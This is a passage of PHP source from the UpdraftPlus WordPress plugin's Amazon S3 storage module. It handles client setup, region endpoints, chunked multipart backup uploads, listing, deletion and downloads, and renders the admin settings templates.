$this->log(__('Error: Failed to initialise', 'updraftplus'));
return new WP_Error('s3_init_failed', sprintf(__('%s Error: Failed to initialise', 'updraftplus'), 'S3').": ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
}
}
if (!empty($try_again)) {
try {
$storage = new $use_s3_class($key, $secret, $use_ssl, $ssl_ca, $endpoint, $session_token);
// Comment before 1.22.10 - "the use of calling use_dns_bucket_name method here is to switch the storage from using path-style to dns style." But at this stage, we don't have a bucket name, so this shouldn't be here.
// $this->maybe_use_dns_bucket_name($storage, ...);
} catch (Exception $e) {
$this->log(__('Error: Failed to initialise', 'updraftplus').": ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
$this->log(__('Error: Failed to initialise', 'updraftplus'));
return new WP_Error('s3_init_failed', sprintf(__('%s Error: Failed to initialise', 'updraftplus'), 'S3').": ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
}
$this->log("Hit a PHP engine bug - had to switch to the internal S3 library");
}
if ($proxy->is_enabled()) {
// WP_HTTP_Proxy returns empty strings where we want nulls
$user = $proxy->username();
if (empty($user)) {
$user = null;
$pass = null;
} else {
$pass = $proxy->password();
if (empty($pass)) $pass = null;
}
$port = (int) $proxy->port();
if (empty($port)) $port = 8080;
$storage->setProxy($proxy->host(), $user, $pass, CURLPROXY_HTTP, $port);
}
if ($this->use_sse() || $sse) $storage->setServerSideEncryption('AES256');
$this->set_storage($storage);
return $storage;
}
/**
* Given an S3 object, possibly set the region on it
*
* @param Object $obj - like UpdraftPlus_S3
* @param String $region
* @param String $bucket_name
*/
protected function set_region($obj, $region, $bucket_name = '') {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- $bucket_name
// AWS Regions: https://docs.aws.amazon.com/general/latest/gr/rande.html
// https://docs.aws.amazon.com/general/latest/gr/s3.html#auto-endpoints-s3
switch ($region) {
case 'EU':
case 'eu-west-1':
$endpoint = 's3-eu-west-1.amazonaws.com';
break;
case 'us-east-1':
$endpoint = 's3.amazonaws.com';
break;
case 'us-west-1':
case 'us-east-2':
case 'us-west-2':
$endpoint = 's3-'.$region.'.amazonaws.com';
break;
case 'sa-east-1':
case 'us-gov-west-1':
case 'ca-central-1':
case 'ap-northeast-1':
case 'ap-northeast-2':
case 'ap-southeast-1':
case 'ap-southeast-2':
case 'eu-central-1':
case 'eu-south-1':
case 'eu-north-1':
case 'eu-west-2':
case 'eu-west-3':
case 'ap-south-1':
case 'me-south-1':
case 'af-south-1':
case 'ap-east-1':
case 'ap-northeast-3':
case 'ap-south-2':
case 'ap-southeast-3':
case 'ap-southeast-5':
case 'ap-southeast-4':
case 'ap-southeast-7':
case 'ca-west-1':
case 'eu-south-2':
case 'eu-central-2':
case 'il-central-1':
case 'me-central-1':
case 'us-gov-east-1':
$endpoint = 's3.'.$region.'.amazonaws.com';
break;
case 'cn-north-1':
case 'cn-northwest-1':
$endpoint = 's3.'.$region.'.amazonaws.com.cn';
break;
default:
break;
}
if (isset($endpoint)) {
$this->log("Set region (".get_class($obj)."): $region");
$obj->setRegion($region);
if (!is_a($obj, 'UpdraftPlus_S3_Compat')) {
$this->log("Set endpoint: $endpoint");
$obj->setEndpoint($endpoint);
}
}
}
/**
* Whether to always use server-side encryption.
*
* This can be over-ridden in child classes of course... and the method here is both the default and the value used for AWS
*
* @return Boolean
*/
protected function use_sse() {
return false;
}
/**
* Perform the upload of backup archives
*
* @param Array $backup_array - a list of file names (basenames) (within UD's directory) to be uploaded
*
* @return Mixed - return (boolean)false to indicate failure, or anything else to have it passed back at the delete stage (most useful for a storage object).
*/
public function backup($backup_array) {
global $updraftplus;
$config = $this->get_config();
if (empty($config['accesskey']) && !empty($config['error_message'])) {
$err = new WP_Error('no_settings', $config['error_message']);
return $updraftplus->log_wp_error($err, false, true);
}
if (empty($config['sessiontoken'])) $config['sessiontoken'] = null;
$storage = $this->getS3(
$config['accesskey'],
$config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
!empty($config['server_side_encryption']),
$config['sessiontoken']
);
if (is_wp_error($storage)) return $updraftplus->log_wp_error($storage, false, true);
$whoweare = $config['whoweare'];
$whoweare_key = $config['key'];
$whoweare_keys = substr($whoweare_key, 0, 3);
if (is_a($storage, 'UpdraftPlus_S3_Compat') && !class_exists('XMLWriter')) {
$this->log('The required XMLWriter PHP module is not installed');
$this->log(sprintf(__('The required %s PHP module is not installed - ask your web hosting company to enable it', 'updraftplus'), 'XMLWriter'), 'error');
return false;
}
$bucket_name = untrailingslashit($config['path']);
$bucket_path = "";
$orig_bucket_name = $bucket_name;
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
$bucket_path = $bmatches[2]."/";
}
list($storage, $config, $bucket_exists, $region) = $this->get_bucket_access($storage, $config, $bucket_name, $bucket_path);
// See if we can detect the region (which implies the bucket exists and is ours), or if not create it
if ($bucket_exists) {
$updraft_dir = trailingslashit($updraftplus->backups_dir_location());
foreach ($backup_array as $key => $file) {
if ('db' != substr($key, 0, 2)) {
$this->current_upload_entity = 'files';
} else {
$this->current_upload_entity = 'databases';
}
// We upload in 5MB chunks to allow more efficient resuming and hence uploading of larger files
// N.B.: 5MB is Amazon's minimum. So don't go lower or you'll break it.
$fullpath = $updraft_dir.$file;
$orig_file_size = filesize($fullpath);
if (!file_exists($fullpath)) {
$this->log("File not found: $file: $whoweare: ");
$this->log("$file: ".sprintf(__('Error: %s', 'updraftplus'), __('File not found', 'updraftplus')), 'error');
continue;
}
if (isset($config['quota']) && method_exists($this, 's3_get_quota_info')) {
$quota_used = $this->s3_get_quota_info('numeric', $config['quota']);
if (false === $quota_used) {
$this->log("Quota usage: count failed");
} else {
$this->quota_used = $quota_used;
if ($config['quota'] - $this->quota_used < $orig_file_size) {
if (method_exists($this, 's3_out_of_quota')) call_user_func(array($this, 's3_out_of_quota'), $config['quota'], $this->quota_used, $orig_file_size);
continue;
} else {
$quota_transient_used = $this->quota_transient_used ? ' (via transient)' : '';
// We don't need to log this always - the s3_out_of_quota method will do its own logging
$this->log("Quota is available: used=$quota_used (".round($quota_used/1048576, 1)." MB), total=".$config['quota']." (".round($config['quota']/1048576, 1)." MB), needed=$orig_file_size (".round($orig_file_size/1048576, 1)." MB)".$quota_transient_used);
}
}
}
$chunks = floor($orig_file_size / 5242880);
// There will be a remnant unless the file size was exactly on a 5MB boundary
if ($orig_file_size % 5242880 > 0) $chunks++;
$hash = md5($file);
$extra = $this->provider_has_regions ? " ($region)" : '';
$this->log("upload{$extra}: $file (chunks: $chunks) -> $whoweare_key://$bucket_name/$bucket_path$file");
$filepath = $bucket_path.$file;
// This is extra code for the 1-chunk case, but less overhead (no bothering with job data)
if ($chunks < 2) {
$storage->setExceptions(true);
try {
if (!$storage->putObjectFile($fullpath, $bucket_name, $filepath, 'private', array(), array(), apply_filters('updraft_'.$whoweare_key.'_storageclass', 'STANDARD', $storage, $config))) {
$this->log("regular upload: failed ($fullpath)");
$this->log("$file: ".sprintf(__('%s Error: Failed to upload', 'updraftplus'), $whoweare), 'error');
} else {
$this->quota_used += $orig_file_size;
if (method_exists($this, 's3_record_quota_info')) $this->s3_record_quota_info($this->quota_used, $config['quota']);
$extra_log = '';
if (method_exists($this, 's3_get_quota_info')) {
$extra_log = ', quota used now: '.round($this->quota_used / 1048576, 1).' MB';
}
$this->log("regular upload: success$extra_log");
$updraftplus->uploaded_file($file);
}
} catch (Exception $e) {
$this->log("$file: ".sprintf(__('%s Error: Failed to upload', 'updraftplus'), $whoweare).": ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile());
$this->log("$file: ".sprintf(__('%s Error: Failed to upload', 'updraftplus'), $whoweare), 'error');
}
$storage->setExceptions(false);
} else {
// Retrieve the upload ID
$upload_id = $this->jobdata_get($hash.'_uid', null, "upd_{$whoweare_keys}_{$hash}_uid");
if (empty($upload_id)) {
$storage->setExceptions(true);
try {
$upload_id = $storage->initiateMultipartUpload($bucket_name, $filepath, 'private', array(), array(), apply_filters('updraft_'.$whoweare_key.'_storageclass', 'STANDARD', $storage, $config));
} catch (Exception $e) {
$this->log("exception (".get_class($e).") whilst trying initiateMultipartUpload: ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
if (false !== strpos($e->getMessage(), '[ExpiredToken]')) {
$this->log("Re-scheduling resumption and aborting so that new token can be requested upon resumption");
UpdraftPlus_Job_Scheduler::reschedule(50);
UpdraftPlus_Job_Scheduler::record_still_alive();
die;
}
$upload_id = false;
}
$storage->setExceptions(false);
if (empty($upload_id)) {
$this->log("upload: failed: could not get uploadId for multipart upload ($filepath)");
$this->log(sprintf(__("%s upload: getting uploadID for multipart upload failed - see log file for more details", 'updraftplus'), $whoweare), 'error');
continue;
} else {
$this->log("chunked upload: got multipart ID: $upload_id");
$this->jobdata_set($hash.'_uid', $upload_id);
}
} else {
$this->log("chunked upload: retrieved previously obtained multipart ID: $upload_id");
}
$successes = 0;
$etags = array();
for ($i = 1; $i <= $chunks; $i++) {
$etag = $this->jobdata_get($hash.'_etag_'.$i, null, "ud_{$whoweare_keys}_{$hash}_e$i");
if (null !== $etag && strlen($etag) > 0) {
$this->log("chunk $i: was already completed (etag: $etag)");
$successes++;
array_push($etags, $etag);
} else {
// Sanity check: we've seen a case where an overlap was truncating the file from underneath us
if (filesize($fullpath) < $orig_file_size) {
$this->log("error: $key: chunk $i: file was truncated underneath us (orig_size=$orig_file_size, now_size=".filesize($fullpath).")");
$this->log(sprintf(__('error: file %s was shortened unexpectedly', 'updraftplus'), $fullpath), 'error');
}
$storage->setExceptions(true);
try {
$etag = $storage->uploadPart($bucket_name, $filepath, $upload_id, $fullpath, $i);
} catch (Exception $e) {
$this->log("exception (".get_class($e).") during uploadPart: ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
if (false !== strpos($e->getMessage(), '[ExpiredToken]')) {
$this->log("Re-scheduling resumption and aborting so that new token can be requested upon resumption");
UpdraftPlus_Job_Scheduler::reschedule(50);
UpdraftPlus_Job_Scheduler::record_still_alive();
die;
}
$etag = false;
}
$storage->setExceptions(false);
if (false !== $etag && is_string($etag)) {
$updraftplus->record_uploaded_chunk(round(100*$i/$chunks, 1), "$i, $etag", $fullpath);
array_push($etags, $etag);
$this->jobdata_set($hash.'_etag_'.$i, $etag);
$successes++;
} else {
$this->log("chunk $i: upload failed");
$this->log(sprintf(__("chunk %s: upload failed", 'updraftplus'), $i), 'error');
}
}
}
if ($successes >= $chunks) {
$this->log("upload: all chunks uploaded; will now instruct $whoweare to re-assemble");
$storage->setExceptions(true);
try {
if ($storage->completeMultipartUpload($bucket_name, $filepath, $upload_id, $etags)) {
$this->log("upload ($key): re-assembly succeeded");
$updraftplus->uploaded_file($file);
$this->quota_used += $orig_file_size;
if (method_exists($this, 's3_record_quota_info')) $this->s3_record_quota_info($this->quota_used, $config['quota']);
} else {
$this->log("upload ($key): re-assembly failed ($file)");
$this->log(sprintf(__('upload (%s): re-assembly failed (see log for more details)', 'updraftplus'), $key), 'error');
}
} catch (Exception $e) {
$this->log("re-assembly error ($key): ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
$this->log($e->getMessage().": ".sprintf(__('%s re-assembly error (%s): (see log file for more)', 'updraftplus'), $whoweare, $e->getMessage()), 'error');
}
// Remember to unset, as the deletion code later reuses the object
$storage->setExceptions(false);
} else {
$this->log("upload: upload was not completely successful on this run");
}
}
}
// Allows counting of the final quota accurately
if (method_exists($this, 's3_prune_retained_backups_finished')) {
add_action('updraftplus_prune_retained_backups_finished', array($this, 's3_prune_retained_backups_finished'));
}
return array('storage' => $storage, 's3_orig_bucket_name' => $orig_bucket_name);
} else {
$extra_text = empty($this->s3_exception) ? '' : ' '.$this->s3_exception->getMessage().' (line: '.$this->s3_exception->getLine().', file: '.$this->s3_exception->getFile().')';
$extra_text_short = empty($this->s3_exception) ? '' : ' '.$this->s3_exception->getMessage();
$this->log("Error: Failed to access bucket $bucket_name.".$extra_text);
$this->log(sprintf(__('Error: Failed to access bucket %s.', 'updraftplus'), $bucket_name).' '.__('Check your permissions and credentials.', 'updraftplus').' (1)'.$extra_text_short, 'error');
}
}
/**
* This function lists the files found in the configured storage location
*
* @param String $match - a substring to require (tested via strpos() !== false)
*
* @return Array - each file is represented by an array with entries 'name' and (optional) 'size'
*/
public function listfiles($match = 'backup_') {
$config = $this->get_config();
return $this->listfiles_with_path($config['path'], $match);
}
protected function possibly_wait_for_bucket_or_user($config, $storage) {
$bucket_name = untrailingslashit($config['path']);
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
}
if (!empty($config['is_new_bucket'])) {
if (method_exists($storage, 'waitForBucket')) {
$storage->setExceptions(true);
try {
$storage->waitForBucket($bucket_name);
} catch (Exception $e) {
// This seems to often happen - we get a 403 on a newly created user/bucket pair, even though the bucket was already waited for by the creator
// We could just sleep() - a sleep(5) seems to do it. However, given that it's a new bucket, that's unnecessary.
$storage->setExceptions(false);
return array();
}
$storage->setExceptions(false);
} else {
sleep(4);
}
} elseif (!empty($config['is_new_user'])) {
// A crude waiter, because the AWS toolkit does not have one for IAM propagation - basically, loop around a few times whilst the access attempt still fails
$attempt_flag = 0;
while ($attempt_flag < 5) {
$attempt_flag++;
if (@$storage->getBucketLocation($bucket_name)) {// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
$attempt_flag = 100;
} else {
if (empty($config['sessiontoken'])) $config['sessiontoken'] = null;
sleep($attempt_flag*1.5 + 1);
$sse = !empty($config['server_side_encryption']);
// Get the bucket object again... because, for some reason, the AWS PHP SDK (at least on the current version we're using, March 2016) calculates an incorrect signature on subsequent attempts
$this->set_storage(null);
$storage = $this->getS3(
$config['accesskey'],
$config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
$sse,
$config['sessiontoken']
);
if (is_wp_error($storage)) return $storage;
if (!is_a($storage, 'UpdraftPlus_S3') && !is_a($storage, 'UpdraftPlus_S3_Compat')) return new WP_Error('no_s3object', 'Failed to gain access to '.$config['whoweare']);
}
}
}
return $storage;
}
/**
* The purpose of splitting this into a separate method, is to also allow listing with a different path
*
* @param String $path Path to check
* @param String $match The match for idetifying the bucket name
* @param Boolean $include_subfolders Check if list file need to include sub folders
* @return Array
*/
public function listfiles_with_path($path, $match = 'backup_', $include_subfolders = false) {
$bucket_name = untrailingslashit($path);
$bucket_path = '';
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
$bucket_path = trailingslashit($bmatches[2]);
}
$config = $this->get_config();
$sse = empty($config['server_side_encryption']) ? false : true;
if (empty($config['sessiontoken'])) $config['sessiontoken'] = null;
$storage = $this->getS3(
$config['accesskey'],
$config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
$sse,
$config['sessiontoken']
);
if (is_wp_error($storage)) return $storage;
if (!is_a($storage, 'UpdraftPlus_S3') && !is_a($storage, 'UpdraftPlus_S3_Compat')) return new WP_Error('no_s3object', 'Failed to gain access to '.$config['whoweare']);
$storage = $this->possibly_wait_for_bucket_or_user($config, $storage);
if (!is_a($storage, 'UpdraftPlus_S3') && !is_a($storage, 'UpdraftPlus_S3_Compat')) return $storage;
list($storage, $config, $bucket_exists, $region) = $this->get_bucket_access($storage, $config, $bucket_name, $bucket_path);// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- The value is passed back from get_bucket_access
$bucket = $storage->getBucket($bucket_name, $bucket_path.$match);
if (!is_array($bucket)) return array();
$results = array();
foreach ($bucket as $key => $object) {
if (!is_array($object) || empty($object['name'])) continue;
if (isset($object['size']) && 0 == $object['size']) continue;
if ($bucket_path) {
if (0 !== strpos($object['name'], $bucket_path)) continue;
$object['name'] = substr($object['name'], strlen($bucket_path));
} else {
if (!$include_subfolders && false !== strpos($object['name'], '/')) continue;
}
$result = array('name' => $object['name']);
if (isset($object['size'])) $result['size'] = (int) $object['size'];
unset($bucket[$key]);
$results[] = $result;
}
return $results;
}
/**
* Delete a single file from the service using S3
*
* @param Array|String $files - array of file names to delete
* @param Array $s3arr - s3 service object and container details
* @param Array $sizeinfo - size of files to delete, used for quota calculation
* @return Boolean|String - either a boolean true or an error code string
*/
public function delete($files, $s3arr = false, $sizeinfo = array()) {
global $updraftplus;
if (is_string($files)) $files = array($files);
$config = $this->get_config();
$sse = empty($config['server_side_encryption']) ? false : true;
if (empty($config['sessiontoken'])) $config['sessiontoken'] = null;
if ($s3arr) {
$storage = $s3arr['storage'];
$orig_bucket_name = $s3arr['s3_orig_bucket_name'];
} else {
$storage = $this->getS3(
$config['accesskey'],
$config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
$sse,
$config['sessiontoken']
);
if (is_wp_error($storage)) return $updraftplus->log_wp_error($storage, false, false);
$bucket_name = untrailingslashit($config['path']);
$orig_bucket_name = $bucket_name;
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
$bucket_path = $bmatches[2]."/";
} else {
$bucket_path = '';
}
list($storage, $config, $bucket_exists, $region) = $this->get_bucket_access($storage, $config, $bucket_name, $bucket_path);// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- The value is passed back from get_bucket_access
if (!$bucket_exists) {
$this->log("Error: Failed to access bucket $bucket_name. Check your permissions and credentials.");
$this->log(sprintf(__('Error: Failed to access bucket %s.', 'updraftplus'), $bucket_name).' '.__('Check your permissions and credentials.', 'updraftplus'), 'error');
return 'container_access_error';
}
}
$ret = true;
foreach ($files as $i => $file) {
if (preg_match("#^([^/]+)/(.*)$#", $orig_bucket_name, $bmatches)) {
$s3_bucket=$bmatches[1];
$s3_uri = $bmatches[2]."/".$file;
} else {
$s3_bucket = $orig_bucket_name;
$s3_uri = $file;
}
$this->log("Delete remote: bucket=$s3_bucket, URI=$s3_uri");
$storage->setExceptions(true);
try {
if (!$storage->deleteObject($s3_bucket, $s3_uri)) {
$this->log("Delete failed");
} elseif (null !== $this->quota_used && !empty($sizeinfo[$i]) && isset($config['quota']) && method_exists($this, 's3_record_quota_info')) {
$this->quota_used -= $sizeinfo[$i];
$this->s3_record_quota_info($this->quota_used, $config['quota']);
}
} catch (Exception $e) {
$this->log("delete failed (".get_class($e)."): ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
$storage->setExceptions(false);
$ret = 'file_delete_error';
}
$storage->setExceptions(false);
}
return $ret;
}
/**
* Download a file from the remote storage
*
* @param string $file The specific file to be downloaded
* @return void
*/
public function download($file) {
global $updraftplus;
$config = $this->get_config();
$sse = empty($config['server_side_encryption']) ? false : true;
if (empty($config['sessiontoken'])) $config['sessiontoken'] = null;
$storage = $this->getS3(
$config['accesskey'],
$config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
$sse,
$config['sessiontoken']
);
if (is_wp_error($storage)) return $updraftplus->log_wp_error($storage, false, true);
$bucket_name = untrailingslashit($config['path']);
$bucket_path = "";
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
$bucket_path = $bmatches[2]."/";
}
list($storage, $config, $bucket_exists, $region) = $this->get_bucket_access($storage, $config, $bucket_name, $bucket_path);// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- The value is passed back from get_bucket_access
if ($bucket_exists) {
$file_info = $this->listfiles($file);
if (is_array($file_info)) {
foreach ($file_info as $finfo) {
if ($finfo['name'] == $file) {
$file_size = $finfo['size'];
break;
}
}
}
if (!isset($file_size)) {
$this->log("Error: Failed to download $file. Check your permissions and credentials. Retrieved data: ".serialize($file_info));
$this->log(sprintf(__('Error: Failed to download %s.', 'updraftplus'), $file).' '.__('Check your permissions and credentials.', 'updraftplus'), 'error');
return false;
}
return $updraftplus->chunked_download($file, $this, $file_size, true, $storage, $this->download_chunk_size);
/*
// The code before we switched to chunked downloads. Unfortunately the version of the AWS SDK we have to use for PHP 5.3 compatibility doesn't have callbacks, which makes it possible for multiple downloaders to start at once and over-write each-other.
$whoweare = $config['whoweare'];
$fullpath = $updraftplus->backups_dir_location().'/'.$file;
if (!$storage->getObject($bucket_name, $bucket_path.$file, $fullpath, true)) {
$updraftplus->log("$whoweare Error: Failed to download $file. Check your permissions and credentials.");
$updraftplus->log(sprintf(__('%s Error: Failed to download %s.', 'updraftplus'),$whoweare, $file).' '.__('
Check your permissions and credentials.','updraftplus'), 'error');
return false;
}
*/
} else {
$this->log("Error: Failed to access bucket $bucket_name. Check your permissions and credentials.");
$this->log(sprintf(__('Error: Failed to access bucket %s.', 'updraftplus'), $bucket_name).' '.__('Check your permissions and credentials.', 'updraftplus'), 'error');
return false;
}
return true;
}
public function chunked_download($file, $headers, $storage, $fh) {
$resume = false;
$config = $this->get_config();
$bucket_name = untrailingslashit($config['path']);
$bucket_path = "";
if (preg_match("#^([^/]+)/(.*)$#", $bucket_name, $bmatches)) {
$bucket_name = $bmatches[1];
$bucket_path = $bmatches[2]."/";
}
if (is_array($headers) && !empty($headers['Range']) && preg_match('/bytes=(\d+)-(\d+)$/', $headers['Range'], $matches)) {
$resume = $headers['Range'];
}
if (!$storage->getObject($bucket_name, $bucket_path.$file, $fh, $resume)) {
$this->log("Error: Failed to download $file. Check your permissions and credentials.");
$this->log(sprintf(__('Error: Failed to download %s.', 'updraftplus'), $file).' '.__('Check your permissions and credentials.', 'updraftplus'), 'error');
return false;
}
// This instructs the caller to look at the file pointer's position (i.e. ftell($fh)) to work out how many bytes were written.
return true;
}
/**
* Get the pre configuration template
*/
public function get_pre_configuration_template() {
?>
<tr class="{{get_template_css_classes false}} S3_pre_config_container">
<td colspan="2">
<img src="{{storage_image_url}}" alt="Amazon Web Services"><br>
{{{xmlwriter_existence_label}}}
{{{simplexmlelement_existence_label}}}
{{{curl_existence_label}}}
<br>
<p>
{{{console_url}}}
{{{ssl_certificates_errors_link_text}}}
{{{faqs}}}
</p>
</td>
</tr>
<?php
}
/**
* Get pre configuration template engine for remote method which is S3 Compatible
* DEVELOPER NOTE: Please don't use/call this method anymore as it was used by Amazon S3 and S3-Compatible (Generic) storage, and it's consider to be removed in future versions. Once Amazon S3 and S3-Compatible templates are CSP-compliant, this should be removed and should be placed in the class child instead of the base class.
*
* @param String $key Remote storage method key which is unique
* @param String $whoweare_short Remote storage method short name which is prefix of field label generally
* @param String $whoweare_long Remote storage method long name which is generally used in instructions
* @param String $console_descrip Remote storage method console description. It is used console link text like "from your %s console"
* @param String $console_url Remote storage method console url. It is used for get credential instruction
* @param String $opening_html HTML to appear first inside the container
*/
protected function get_pre_configuration_template_engine($key, $whoweare_short, $whoweare_long, $console_descrip, $console_url, $opening_html = '') {
$classes = $this->get_css_classes(false);
?>
<tr class="<?php echo esc_attr($classes . ' ' . $whoweare_short . '_pre_config_container');?>">
<td colspan="2">
<?php echo wp_kses_post($opening_html).'<br>'; ?>
<?php
global $updraftplus_admin;
$use_s3_class = $this->indicate_s3_class();
if ('UpdraftPlus_S3_Compat' == $use_s3_class && !class_exists('XMLWriter')) {
$updraftplus_admin->show_double_warning('<strong>'.__('Warning', 'updraftplus').':</strong> '. sprintf(__("Your web server's PHP installation does not included a required module (%s).", 'updraftplus'), 'XMLWriter').' '.__("Please contact your web hosting provider's support and ask for them to enable it.", 'updraftplus'));
}
if (!class_exists('SimpleXMLElement')) {
$updraftplus_admin->show_double_warning('<strong>'.__('Warning', 'updraftplus').':</strong> '.sprintf(__("Your web server's PHP installation does not included a required module (%s).", 'updraftplus'), 'SimpleXMLElement').' '.__("Please contact your web hosting provider's support.", 'updraftplus').' '.sprintf(__("UpdraftPlus's %s module <strong>requires</strong> %s.", 'updraftplus'), $whoweare_long, 'SimpleXMLElement').' '.__('Please do not file any support requests; there is no alternative.', 'updraftplus'), $key);
}
$updraftplus_admin->curl_check($whoweare_long, true, $key);
?>
<br>
<p>
<?php
if ($console_url) {
$a_tag_html = array('a' => array('href' => array()));
echo wp_kses(sprintf(__('Get your access key and secret key from your <a href="%s">%s console</a>, then pick a (globally unique - all %s users) bucket name (letters and numbers) (and optionally a path) to use for storage.', 'updraftplus'), $console_url, $console_descrip, $whoweare_long), $a_tag_html).' '.esc_html__('This bucket will be created for you if it does not already exist.', 'updraftplus');
}
?>
<a href="<?php echo esc_url(apply_filters("updraftplus_com_link", "https://updraftplus.com/faqs/i-get-ssl-certificate-errors-when-backing-up-andor-restoring/"));?>" target="_blank"><?php esc_html_e('If you see errors about SSL certificates, then please go here for help.', 'updraftplus');?></a>
<a href="<?php echo esc_url(apply_filters("updraftplus_com_link", "https://updraftplus.com/faq-category/amazon-s3/"));?>" target="_blank"><?php if ('s3' == $key) echo esc_html(sprintf(__('Other %s FAQs.', 'updraftplus'), 'S3'));?></a>
</p>
</td>
</tr>
<?php
}
/**
* Get the configuration template
*
* @return String - the template, ready for substitutions to be carried out
*/
public function get_configuration_template() {
// White: https://d36cz9buwru1tt.cloudfront.net/Powered-by-Amazon-Web-Services.jpg
// Black: https://awsmedia.s3.amazonaws.com/AWS_logo_poweredby_black_127px.png
ob_start();
?>
{{#ifeq "s3" method_id}}
{{#> s3_additional_configuration_top}}
{{/s3_additional_configuration_top}}
{{else}}
{{#> s3generic_additional_configuration_top}}
{{/s3generic_additional_configuration_top}}
{{/ifeq}}
<tr class="{{get_template_css_classes true}}">
<th>{{input_access_key_label}}:</th>
<td><input class="updraft_input--wide udc-wd-600" data-updraft_settings_test="accesskey" type="text" autocomplete="off" id="{{get_template_input_attribute_value "id" "accesskey"}}" name="{{get_template_input_attribute_value "name" "accesskey"}}" value="{{accesskey}}" /></td>
</tr>
<tr class="{{get_template_css_classes true}}">
<th>{{input_secret_key_label}}:</th>
<td><input class="updraft_input--wide udc-wd-600" data-updraft_settings_test="secretkey" type="{{input_secret_key_type}}" autocomplete="off" id="{{get_template_input_attribute_value "id" "secretkey"}}" name="{{get_template_input_attribute_value "name" "secretkey"}}" value="{{secretkey}}" /></td>
</tr>
<tr class="{{get_template_css_classes true}}">
<th>{{input_location_label}}:</th>
<td>{{method_id}}://<input class="updraft_input--wide udc-wd-600" data-updraft_settings_test="path" title="{{input_location_title}}" type="text" id="{{get_template_input_attribute_value "id" "path"}}" name="{{get_template_input_attribute_value "name" "path"}}" value="{{path}}" /></td>
</tr>
{{#ifeq "s3" method_id}}
{{#> s3_additional_configuration_bottom}}
{{/s3_additional_configuration_bottom}}
{{else}}
{{#> s3generic_additional_configuration_bottom}}
{{/s3generic_additional_configuration_bottom}}
{{/ifeq}}
{{{get_template_test_button_html method_display_name}}}
<?php
return ob_get_clean();
}
/**
* Get partial templates associated to the corresponding backup module (remote storage object)
*
* @return Array an associative array keyed by names of the partial template
*/
public function get_partial_templates() {
return wp_parse_args(apply_filters('updraft_'.$this->get_id().'_partial_templates', array()), parent::get_partial_templates());
}
/**
* Modifies handerbar template options
*
* @param array $opts
* @return Array - Modified handerbar template options
*/
public function transform_options_for_template($opts) {
return apply_filters('updraftplus_options_s3_options', $opts);
}
/**
* Get configuration template engine for remote method which is S3 Compatible
* DEVELOPER NOTE: Please don't use/call this method anymore as it was used by Amazon S3 and S3-Compatible (Generic) storage, and it's consider to be removed in future versions. Once Amazon S3 and S3-Compatible templates are CSP-compliant, this should be removed and should be placed in the class child instead of the base class.
*
* @param String $key Remote storage method key which is unique
* @param String $whoweare_short Remote storage method short name which is prefix of field label generally
* @param String $whoweare_long Remote storage method long name which is generally used in instructions
* @param String $console_descrip Remote storage method console description. It is used console link text like "from your %s console"
* @param String $console_url Remote storage method console url. It is used for get credential instruction
* @param String $img_html Image html tag
*
* @return String $template_str handlebars template string
*/
public function get_configuration_template_engine($key, $whoweare_short, $whoweare_long, $console_descrip, $console_url, $img_html = '') {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- $whoweare_long, $console_descrip, $console_url, $img_html unused
global $updraftplus;
ob_start();
$classes = $this->get_css_classes();
$template_str = '';
if ('s3' == $key && version_compare(PHP_VERSION, '5.3.3', '>=') && class_exists('UpdraftPlus_Addon_S3_Enhanced')) {
?>
<tr class="<?php echo esc_attr($classes);?>">
<td colspan="2">
<?php
echo wp_kses_post(apply_filters('updraft_s3_apikeysetting', '<a href="'.$updraftplus->get_url('premium').'" target="_blank"><em>'.__('To create a new IAM sub-user and access key that has access only to this bucket, upgrade to Premium.', 'updraftplus').'</em></a>'));
?>
</td>
</tr>
<?php
}
?>
<tr class="<?php echo esc_attr($classes);?>">
<th><?php echo esc_html(sprintf(__('%s access key', 'updraftplus'), $whoweare_short));?>:</th>
